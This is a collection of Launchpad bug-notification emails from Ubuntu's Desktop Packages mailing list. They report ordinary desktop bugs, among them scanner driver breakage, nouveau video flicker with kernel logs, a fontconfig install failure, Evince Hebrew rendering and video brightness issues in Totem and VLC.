[Desktop-packages] [Bug 1772238] Re: mix of german/english words
gnome-control-center1:3.28.1-0ubuntu1 language-pack-gnome-de 1:18.04+20180423 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1772238 Title: mix of german/english words Status in gnome-control-center package in Ubuntu: Incomplete Bug description: mix of german/english words in ubuntubudgie 18.04 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1772238/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1728012] Re: Many 3rd party scanner drivers are broken by a sane change
Thank you PeterPaul. Will try again after the next Bionic kernel upgrade. In the meantime the brother MFC is plugged into my 16.04 PC and network connected. The printer cost me $20 at a garage sale and only has USB. PS - more pieces of the puzzle: the brother-udev-rule-type1 DEB package mentioned above as not necessary creates a file /opt/brother/scanner/udev-rules/type1/NN-brother-mfp-type1.rules and this rules file has a comment that it should be copied to the relevant udev folder - /etc/udev/rules.d; The driver name is "Brother MFC7420 for CUPS" and does not have a hyphen after MFC so it appears after all MFC printers in the list of drivers and is easily missed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to sane-backends in Ubuntu. https://bugs.launchpad.net/bugs/1728012 Title: Many 3rd party scanner drivers are broken by a sane change Status in sane-backends package in Ubuntu: Confirmed Bug description: Many scanners can no more be used since sane has changed something: The 3rd-party plug-in the vendor provides as .deb package will still install. But the scanner is no more recognized. Scanners that are affected are(besides others): - Epson Perfection V10 - Epson Perfection V1000 - Epson WorkForce GT-1500 - Brother MFC-8510DN - Epson Perfection V33 It is to note that the probability that the scanner manufacturers fix things others broke is below 100%. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libsane1 1.0.27-1~experimental2ubuntu2 Uname: Linux 4.14.0-041400rc5-lowlatency x86_64 ApportVersion: 2.20.7-0ubuntu3.1 Architecture: amd64 Date: Fri Oct 27 12:35:52 2017 EcryptfsInUse: Yes SourcePackage: sane-backends UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1728012/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 549256] Re: [GeForce 7025 / nForce 630a] video flicker on any I/O activity with nouveau; OK with nv driver
Michael Schmitz, the problem you are reporting is an upstream one. Could you please gather the required debugging information from https://nouveau.freedesktop.org/wiki/Bugs/ and report this to upstream via https://bugs.freedesktop.org/enter_bug.cgi?product=xorg : Component: Driver/nouveau Version: 7.7 OS: Linux (All) Please post the URL of this new report here so it may be tracked. ** Changed in: xserver-xorg-video-nouveau (Ubuntu) Status: Incomplete => Triaged -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xserver-xorg-video-nouveau in Ubuntu. https://bugs.launchpad.net/bugs/549256 Title: [GeForce 7025 / nForce 630a] video flicker on any I/O activity with nouveau; OK with nv driver Status in xserver-xorg-video-nouveau package in Ubuntu: Triaged Bug description: Binary package hint: xserver-xorg-video-nouveau Expectation: Default Xorg driver should work with no video artifacts. Observation: Bad screen flicker with default Xorg driver. Details: I installed the 10.04 beta from CD on Wednesday (incidentially, compliments for the smooth install). Already upon installation, the display did flicker badly whenever the CD was read or even the mouse moved. Flicker did already start at the initial splash screen. The system was fully responsive otherwise. On reboot post-installation, gdm came up OK but with the same flicker problems. The 'Monitors' control panel only offered the 2048x1536 resolution at 80 Hz with no other options. Tried to install and use one of the non- free nvidia drivers, this failed because the nouveau kernel module was loaded always and could not be unloaded (drm loads nouveau before framebuffer console init. as near as I can make out). With nvidia- current unable to load, the X server could not use the 'nvidia' driver. Kernel message buffer excerpt: [4.777915] [drm] Initialized drm 1.1.0 20060810 [4.807773] ACPI: PCI Interrupt Link [LMC9] enabled at IRQ 22 [4.807779] nouveau :00:0d.0: PCI INT A -> Link[LMC9] -> GSI 22 (level, low) -> IRQ 22 [4.807783] nouveau :00:0d.0: setting latency timer to 64 [4.809992] [drm] nouveau :00:0d.0: failed to evaluate _DSM: 5 [4.810217] [drm] nouveau :00:0d.0: Detected an NV40 generation card (0x04c000a2) [4.810513] [drm] nouveau :00:0d.0: Attempting to load BIOS image from PROM [4.810519] [drm] nouveau :00:0d.0: ... BIOS signature not found [4.810520] [drm] nouveau :00:0d.0: Attempting to load BIOS image from PRAMIN [4.854556] [drm] nouveau :00:0d.0: ... appears to be valid [4.854559] [drm] nouveau :00:0d.0: BIT BIOS found [4.854561] [drm] nouveau :00:0d.0: Bios version 05.61.32.28 [4.854563] [drm] nouveau :00:0d.0: BIT table 'd' not found [4.854565] [drm] nouveau :00:0d.0: Found Display Configuration Block version 3.0 [4.854568] [drm] nouveau :00:0d.0: DCB connector table: VHER 0x30 5 10 2 [4.854571] [drm] nouveau :00:0d.0: 0: 0x: type 0x00 idx 0 tag 0xff [4.854573] [drm] nouveau :00:0d.0: 1: 0x1131: type 0x31 idx 1 tag 0x07 [4.854575] [drm] nouveau :00:0d.0: 2: 0x0110: type 0x10 idx 1 tag 0xff [4.854577] [drm] nouveau :00:0d.0: 3: 0x0111: type 0x11 idx 1 tag 0xff [4.854579] [drm] nouveau :00:0d.0: 4: 0x0113: type 0x13 idx 1 tag 0xff [4.854581] [drm] nouveau :00:0d.0: Raw DCB entry 0: 01000310 0023 [4.854583] [drm] nouveau :00:0d.0: Raw DCB entry 1: 00110204 942b0003 [4.854588] [drm] nouveau :00:0d.0: Parsing VBIOS init table 0 at offset 0xD9C9 [4.854591] [drm] nouveau :00:0d.0: === misaligned reg 0x0060081D === [4.854648] [drm] nouveau :00:0d.0: === misaligned reg 0x0060081D === [4.854748] [drm] nouveau :00:0d.0: Parsing VBIOS init table 1 at offset 0xDB17 [4.854749] [drm] nouveau :00:0d.0: Parsing VBIOS init table 2 at offset 0xDB18 [4.854799] [drm] nouveau :00:0d.0: Parsing VBIOS init table 3 at offset 0xDC9A [4.854803] [drm] nouveau :00:0d.0: Parsing VBIOS init table 4 at offset 0xDCE3 [4.861274] lp0: using parport0 (interrupt-driven). [4.865006] [TTM] Zone kernel: Available graphics memory: 444292 kiB. [4.865009] [TTM] Zone highmem: Available graphics memory: 448232 kiB. [4.865018] [drm] nouveau :00:0d.0: 128 MiB VRAM [4.865912] [drm] nouveau :00:0d.0: 64 MiB GART (aperture) [4.868624] [drm] nouveau :00:0d.0: Allocating FIFO number 0 [4.868891] [drm] nouveau :00:0d.0: nouveau_channel_alloc: initialised FIFO 0 [4.868896] [drm] nouveau :00:0d.0: Initial CRTC_OWNER is 0 [4.868901] [drm] nouveau :00:0d.0: Saving VGA fonts [4.908706] [drm] nouveau :00:0d.0: DCB type 4 not known [4.908710] [drm] nouvea
[Desktop-packages] [Bug 1772358] Re: package fontconfig 2.11.94-0ubuntu1.1 failed to install/upgrade: triggers looping, abandoned
** Tags removed: need-duplicate-check -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to fontconfig in Ubuntu. https://bugs.launchpad.net/bugs/1772358 Title: package fontconfig 2.11.94-0ubuntu1.1 failed to install/upgrade: triggers looping, abandoned Status in fontconfig package in Ubuntu: New Bug description: Error Attached ProblemType: Package DistroRelease: Ubuntu 16.04 Package: fontconfig 2.11.94-0ubuntu1.1 ProcVersionSignature: Ubuntu 4.4.0-124.148-generic 4.4.117 Uname: Linux 4.4.0-124-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.17 Architecture: amd64 Date: Thu May 17 12:13:12 2018 ErrorMessage: triggers looping, abandoned InstallationDate: Installed on 2018-05-03 (17 days ago) InstallationMedia: Ubuntu-GNOME 16.04 LTS "Xenial Xerus" - Release amd64 (20160421) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: fontconfig Title: package fontconfig 2.11.94-0ubuntu1.1 failed to install/upgrade: triggers looping, abandoned UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/fontconfig/+bug/1772358/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772358] [NEW] package fontconfig 2.11.94-0ubuntu1.1 failed to install/upgrade: triggers looping, abandoned
Public bug reported: Error Attached ProblemType: Package DistroRelease: Ubuntu 16.04 Package: fontconfig 2.11.94-0ubuntu1.1 ProcVersionSignature: Ubuntu 4.4.0-124.148-generic 4.4.117 Uname: Linux 4.4.0-124-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.17 Architecture: amd64 Date: Thu May 17 12:13:12 2018 ErrorMessage: triggers looping, abandoned InstallationDate: Installed on 2018-05-03 (17 days ago) InstallationMedia: Ubuntu-GNOME 16.04 LTS "Xenial Xerus" - Release amd64 (20160421) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: fontconfig Title: package fontconfig 2.11.94-0ubuntu1.1 failed to install/upgrade: triggers looping, abandoned UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: fontconfig (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package third-party-packages xenial -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to fontconfig in Ubuntu. https://bugs.launchpad.net/bugs/1772358 Title: package fontconfig 2.11.94-0ubuntu1.1 failed to install/upgrade: triggers looping, abandoned Status in fontconfig package in Ubuntu: New Bug description: Error Attached ProblemType: Package DistroRelease: Ubuntu 16.04 Package: fontconfig 2.11.94-0ubuntu1.1 ProcVersionSignature: Ubuntu 4.4.0-124.148-generic 4.4.117 Uname: Linux 4.4.0-124-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.17 Architecture: amd64 Date: Thu May 17 12:13:12 2018 ErrorMessage: triggers looping, abandoned InstallationDate: Installed on 2018-05-03 (17 days ago) InstallationMedia: Ubuntu-GNOME 16.04 LTS "Xenial Xerus" - Release amd64 (20160421) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: fontconfig Title: package fontconfig 2.11.94-0ubuntu1.1 failed to install/upgrade: triggers looping, abandoned UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/fontconfig/+bug/1772358/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
Re: [Desktop-packages] [Bug 549256] Re: [GeForce 7025 / nForce 630a] video flicker on any I/O activity with nouveau; OK with nv driver
Christopher, Am 21.05.2018 um 15:58 schrieb Christopher M. Penalver: > Michael Schmitz: > > 1) To clarify, you tested the 64-bit variant (not 32-bit)? Correct. > 2) Is using the nv driver still a usable WORKAROUND? > Sorry, didn't try that (is it even possible without installing from that image?). Cheers, Michael > ** Description changed: > > Binary package hint: xserver-xorg-video-nouveau > > Expectation: Default Xorg driver should work with no video artifacts. > > Observation: Bad screen flicker with default Xorg driver. > > Details: I installed the 10.04 beta from CD on Wednesday (incidentially, > compliments for the smooth install). Already upon installation, the > display did flicker badly whenever the CD was read or even the mouse > moved. Flicker did already start at the initial splash screen. The > system was fully responsive otherwise. On reboot post-installation, gdm > came up OK but with the same flicker problems. The 'Monitors' control > panel only offered the 2048x1536 resolution at 80 Hz with no other > options. Tried to install and use one of the non-free nvidia drivers, > this failed because the nouveau kernel module was loaded always and > could not be unloaded (drm loads nouveau before framebuffer console > init. as near as I can make out). With nvidia-current unable to load, > - the X server could not use the 'nvidia' driver. Switching xorg.conf to > - use the 'nv' driver results in a much better screen display (only > - occasional flicker) although the driver only supports 2048x1536 at 60 > - Hz. 1600x1200@85 Hz is useable. > + the X server could not use the 'nvidia' driver. > > Kernel message buffer excerpt: > [4.777915] [drm] Initialized drm 1.1.0 20060810 > [4.807773] ACPI: PCI Interrupt Link [LMC9] enabled at IRQ 22 > [4.807779] nouveau :00:0d.0: PCI INT A -> Link[LMC9] -> GSI 22 > (level, low) -> IRQ 22 > [4.807783] nouveau :00:0d.0: setting latency timer to 64 > [4.809992] [drm] nouveau :00:0d.0: failed to evaluate _DSM: 5 > [4.810217] [drm] nouveau :00:0d.0: Detected an NV40 generation card > (0x04c000a2) > [4.810513] [drm] nouveau :00:0d.0: Attempting to load BIOS image > from PROM > [4.810519] [drm] nouveau :00:0d.0: ... BIOS signature not found > [4.810520] [drm] nouveau :00:0d.0: Attempting to load BIOS image > from PRAMIN > [4.854556] [drm] nouveau :00:0d.0: ... appears to be valid > [4.854559] [drm] nouveau :00:0d.0: BIT BIOS found > [4.854561] [drm] nouveau :00:0d.0: Bios version 05.61.32.28 > [4.854563] [drm] nouveau :00:0d.0: BIT table 'd' not found > [4.854565] [drm] nouveau :00:0d.0: Found Display Configuration > Block version 3.0 > [4.854568] [drm] nouveau :00:0d.0: DCB connector table: VHER 0x30 5 > 10 2 > [4.854571] [drm] nouveau :00:0d.0: 0: 0x: type 0x00 idx 0 > tag 0xff > [4.854573] [drm] nouveau :00:0d.0: 1: 0x1131: type 0x31 idx 1 > tag 0x07 > [4.854575] [drm] nouveau :00:0d.0: 2: 0x0110: type 0x10 idx 1 > tag 0xff > [4.854577] [drm] nouveau :00:0d.0: 3: 0x0111: type 0x11 idx 1 > tag 0xff > [4.854579] [drm] nouveau :00:0d.0: 4: 0x0113: type 0x13 idx 1 > tag 0xff > [4.854581] [drm] nouveau :00:0d.0: Raw DCB entry 0: 01000310 > 0023 > [4.854583] [drm] nouveau :00:0d.0: Raw DCB entry 1: 00110204 > 942b0003 > [4.854588] [drm] nouveau :00:0d.0: Parsing VBIOS init table 0 at > offset 0xD9C9 > [4.854591] [drm] nouveau :00:0d.0: === misaligned reg > 0x0060081D === > [4.854648] [drm] nouveau :00:0d.0: === misaligned reg > 0x0060081D === > [4.854748] [drm] nouveau :00:0d.0: Parsing VBIOS init table 1 at > offset 0xDB17 > [4.854749] [drm] nouveau :00:0d.0: Parsing VBIOS init table 2 at > offset 0xDB18 > [4.854799] [drm] nouveau :00:0d.0: Parsing VBIOS init table 3 at > offset 0xDC9A > [4.854803] [drm] nouveau :00:0d.0: Parsing VBIOS init table 4 at > offset 0xDCE3 > [4.861274] lp0: using parport0 (interrupt-driven). > [4.865006] [TTM] Zone kernel: Available graphics memory: 444292 kiB. > [4.865009] [TTM] Zone highmem: Available graphics memory: 448232 kiB. > [4.865018] [drm] nouveau :00:0d.0: 128 MiB VRAM > [4.865912] [drm] nouveau :00:0d.0: 64 MiB GART (aperture) > [4.868624] [drm] nouveau :00:0d.0: Allocating FIFO number 0 > [4.868891] [drm] nouveau :00:0d.0: nouveau_channel_alloc: > initialised FIFO 0 > [4.868896] [drm] nouveau :00:0d.0: Initial CRTC_OWNER is 0 > [4.868901] [drm] nouveau :00:0d.0: Saving VGA fonts > [4.908706] [drm] nouveau :00:0d.0: DCB type 4 not known > [4.908710] [drm] nouveau :00:0d.0: Detected a VGA connector > [4.909936] [drm] nouve
[Desktop-packages] [Bug 485745] Re: Evince presents PDF with mis-rendered Hebrew
** Changed in: evince Status: New => Expired -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to poppler in Ubuntu. https://bugs.launchpad.net/bugs/485745 Title: Evince presents PDF with mis-rendered Hebrew Status in Evince: Expired Status in Poppler: Invalid Status in poppler package in Ubuntu: Triaged Bug description: Binary package hint: evince 1) lsb_release -rd Description: Ubuntu Vivid Vervet (development branch) Release: 15.04 2) apt-cache policy evince evince: Installed: 3.14.1-0ubuntu1 Candidate: 3.14.1-0ubuntu1 Version table: *** 3.14.1-0ubuntu1 0 500 http://us.archive.ubuntu.com/ubuntu/ vivid/main amd64 Packages 100 /var/lib/dpkg/status 3) What is expected to happen opening https://bugs.launchpad.net/ubuntu/+source/evince/+bug/485745/+attachment/1057914/+files/HW4.pdf is it looks the same as it does in Adobe Reader. 4) What happens instead is it shows gibberish as per the screenshot https://launchpadlibrarian.net/36337912/Screenshot-1.gif . WORKAROUND: Use Chromium's built-in PDF viewer. apt-cache policy chromium-browser chromium-browser: Installed: 39.0.2171.65-0ubuntu0.14.04.1.1064 Candidate: 39.0.2171.65-0ubuntu0.14.04.1.1064 Version table: *** 39.0.2171.65-0ubuntu0.14.04.1.1064 0 500 http://us.archive.ubuntu.com/ubuntu/ trusty-updates/universe amd64 Packages 500 http://security.ubuntu.com/ubuntu/ trusty-security/universe amd64 Packages 100 /var/lib/dpkg/status 34.0.1847.116-0ubuntu2 0 500 http://us.archive.ubuntu.com/ubuntu/ trusty/universe amd64 Packages ProblemType: Bug Architecture: amd64 Date: Fri Nov 20 13:27:27 2009 DistroRelease: Ubuntu 9.10 ExecutablePath: /usr/bin/evince NonfreeKernelModules: nvidia Package: evince 2.28.1-0ubuntu1.1 ProcEnviron: LANG=en_US.UTF-8 SHELL=/bin/bash ProcVersionSignature: Ubuntu 2.6.31-14.48-generic SourcePackage: evince Uname: Linux 2.6.31-14-generic x86_64 To manage notifications about this bug go to: https://bugs.launchpad.net/evince/+bug/485745/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1754425] Re: Lots of pcieport and nvme kernel errors - system non-responsive
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1754425 Title: Lots of pcieport and nvme kernel errors - system non-responsive Status in gnome-shell package in Ubuntu: Invalid Status in linux package in Ubuntu: Expired Bug description: If I open the lid, it seems that the computer flat-out doesn't wake up. HOWEVER, if I wait patiently more than 20 seconds, and press (not hold) the power button, SOMETIMES, the computer will "snap out of it" and come back to my desktop. Although RAM is 25% used, and CPU usage is around 25-50% or less (depending on apps), mouse will regularly freeze up for some seconds every 10 seconds or so. Wifi will claim to be "on", but there aren't any networks in the "select network" dialogue. Turning wifi off and then on does not fix this problem. So I'll be in this terrifying state of non-responsive every few seconds computer, with no ability to reconnect to networks and report bug. I force restart. The first restart, upon login, will hang indefinitely on a purple screen with the cursor in the middle. I will have to force restart again. Upon 2nd restart, it will boot "normally". ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gnome-shell 3.27.92-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Thu Mar 8 12:38:24 2018 DisplayManager: gdm3 InstallationDate: Installed on 2018-03-02 (5 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180228) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnome-shell UpgradeStatus: No upgrade log present (probably fresh install) --- ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: tom1387 F pulseaudio CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-03-02 (10 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180228) MachineType: Dell Inc. XPS 15 9560 Package: linux (not installed) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-10-generic.efi.signed root=UUID=9ccc05c8-ea98-4229-a4d3-6d3a292df6df ro quiet splash acpi_rev_override=1 vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 RelatedPackageVersions: linux-restricted-modules-4.15.0-10-generic N/A linux-backports-modules-4.15.0-10-generic N/A linux-firmware 1.172 Tags: bionic Uname: Linux 4.15.0-10-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 01/25/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.7.1 dmi.board.name: 0JHP5H dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.7.1:bd01/25/2018:svnDellInc.:pnXPS159560:pvr:rvnDellInc.:rn0JHP5H:rvrA00:cvnDellInc.:ct10:cvr: dmi.product.family: XPS dmi.product.name: XPS 15 9560 dmi.sys.vendor: Dell Inc. --- ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: tom1387 F pulseaudio CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-03-02 (10 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180228) MachineType: Dell Inc. XPS 15 9560 Package: linux (not installed) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-10-generic.efi.signed root=UUID=9ccc05c8-ea98-4229-a4d3-6d3a292df6df ro quiet splash acpi_rev_override=1 vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 RelatedPackageVersions: linux-restricted-modules-4.15.0-10-generic N/A linux-backports-modules-4.15.0-10-generic N/A linux-firmware 1.172 Tags: bionic Uname: Linux 4.15.0-10-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 01/25/2018 dmi.bios.vendor: Dell Inc.
[Desktop-packages] [Bug 1757301] Re: Brightness, contrast issues (possibly NVidia specific) in totem and VLC
[Expired for vlc (Ubuntu) because there has been no activity for 60 days.] ** Changed in: vlc (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to totem in Ubuntu. https://bugs.launchpad.net/bugs/1757301 Title: Brightness, contrast issues (possibly NVidia specific) in totem and VLC Status in totem package in Ubuntu: Expired Status in vlc package in Ubuntu: Expired Bug description: This issue pertains to a fresh install of Ubuntu 17.10 on a Dell Precision 5520 with NVidia 384.111-0ubuntu0.17.10.1 drivers installed. The NVidia drivers was installed using the Additional Drivers dialog. Videos, in both Totem (the default video player) and VLC, are quite dark. The NVidia settings do not provide the color correction controls I've seen with previous versions (possibly due to PRIME). If I open Totem's display preferences, and try to change any value for brightness, contrast, saturation, or hue, the video window goes completely black. Clicking the "Reset to Defaults" button restores the video playback. When the screen is black, subtitles and audio play as per normal. I traced this down to the package vdpau-va-driver not being installed on the system. I presume this is a missing dependency. I did have vdpau-driver-all:amd64 installed, but this is probably unrelated. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: totem 3.26.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.13.0-37.42-generic 4.13.13 Uname: Linux 4.13.0-37-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed Mar 21 13:32:28 2018 ExecutablePath: /usr/bin/totem InstallationDate: Installed on 2018-03-15 (5 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105.1) ProcEnviron: XDG_RUNTIME_DIR= SHELL=/bin/bash LANGUAGE=en_NZ:en PATH=(custom, user) LANG=en_NZ.UTF-8 SourcePackage: totem UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/totem/+bug/1757301/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1757301] Re: Brightness, contrast issues (possibly NVidia specific) in totem and VLC
[Expired for totem (Ubuntu) because there has been no activity for 60 days.] ** Changed in: totem (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to totem in Ubuntu. https://bugs.launchpad.net/bugs/1757301 Title: Brightness, contrast issues (possibly NVidia specific) in totem and VLC Status in totem package in Ubuntu: Expired Status in vlc package in Ubuntu: Expired Bug description: This issue pertains to a fresh install of Ubuntu 17.10 on a Dell Precision 5520 with NVidia 384.111-0ubuntu0.17.10.1 drivers installed. The NVidia drivers was installed using the Additional Drivers dialog. Videos, in both Totem (the default video player) and VLC, are quite dark. The NVidia settings do not provide the color correction controls I've seen with previous versions (possibly due to PRIME). If I open Totem's display preferences, and try to change any value for brightness, contrast, saturation, or hue, the video window goes completely black. Clicking the "Reset to Defaults" button restores the video playback. When the screen is black, subtitles and audio play as per normal. I traced this down to the package vdpau-va-driver not being installed on the system. I presume this is a missing dependency. I did have vdpau-driver-all:amd64 installed, but this is probably unrelated. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: totem 3.26.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.13.0-37.42-generic 4.13.13 Uname: Linux 4.13.0-37-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed Mar 21 13:32:28 2018 ExecutablePath: /usr/bin/totem InstallationDate: Installed on 2018-03-15 (5 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105.1) ProcEnviron: XDG_RUNTIME_DIR= SHELL=/bin/bash LANGUAGE=en_NZ:en PATH=(custom, user) LANG=en_NZ.UTF-8 SourcePackage: totem UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/totem/+bug/1757301/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1740865] Re: gnome-software (5) g_realloc → g_array_maybe_expand → g_array_set_size → g_byte_array_set_size → read_cb
The crash report shows snapd-glib trying to allocate 2.6G of memory... -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-software in Ubuntu. https://bugs.launchpad.net/bugs/1740865 Title: gnome-software (5) g_realloc → g_array_maybe_expand → g_array_set_size → g_byte_array_set_size → read_cb Status in gnome-software package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-software. This problem was most recently seen with package version 3.26.3-2ubuntu1, the problem page at https://errors.ubuntu.com/problem/d94c431d27115bab216f9e1ea756f876e7cd933b contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-software/+bug/1740865/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1616469] Re: Languages do not always switch to "Japanese (Anthy)" properly when using top-bar switcher or keyboard shortcut
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: gnome-shell (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1616469 Title: Languages do not always switch to "Japanese (Anthy)" properly when using top-bar switcher or keyboard shortcut Status in GNOME Shell: Confirmed Status in Ubuntu GNOME: New Status in gnome-shell package in Ubuntu: Confirmed Bug description: I have recently noticed that when switching from languages such as "Russian" or "Arabic" to "Japanese (Anthy)", though seemingly never "English (UK)/(US)", that it doesn't properly switch and carries on typing whichever language it was that I was trying to change from. I have made a screencast of what I experience (sorry that it's a little slow and has a few issues such as where I accidentally brought up the find feature in gedit, twice): Strange_Anthy_Language_Switching_Bug.mp4 And as said in my comment update: I have now also noticed that if I use the LeftShift+RightShift keyboard shortcut to switch between "English (UK)", "Russian", and "Japanese (Anthy)" that it switches fine to "Russian", however when it is displayed as being set to "Japanese (Anthy)" in the top bar, it still types only in Russian as it does when it is set to the previous option of "Russian". Though pressing it again will return it to "English (UK)". It doesn't appear to matter which language is before or after it, it will just take the form of whatever language is before it when switching using the keyboard shortcut which is rather annoying. I am running Ubuntu GNOME 16.04 with GNOME 3.20, but this issue is also present on Ubuntu GNOME 16.10 with GNOME 3.22. To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-shell/+bug/1616469/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 549256] Re: [GeForce 7025 / nForce 630a] video flicker on any I/O activity with nouveau; OK with nv driver
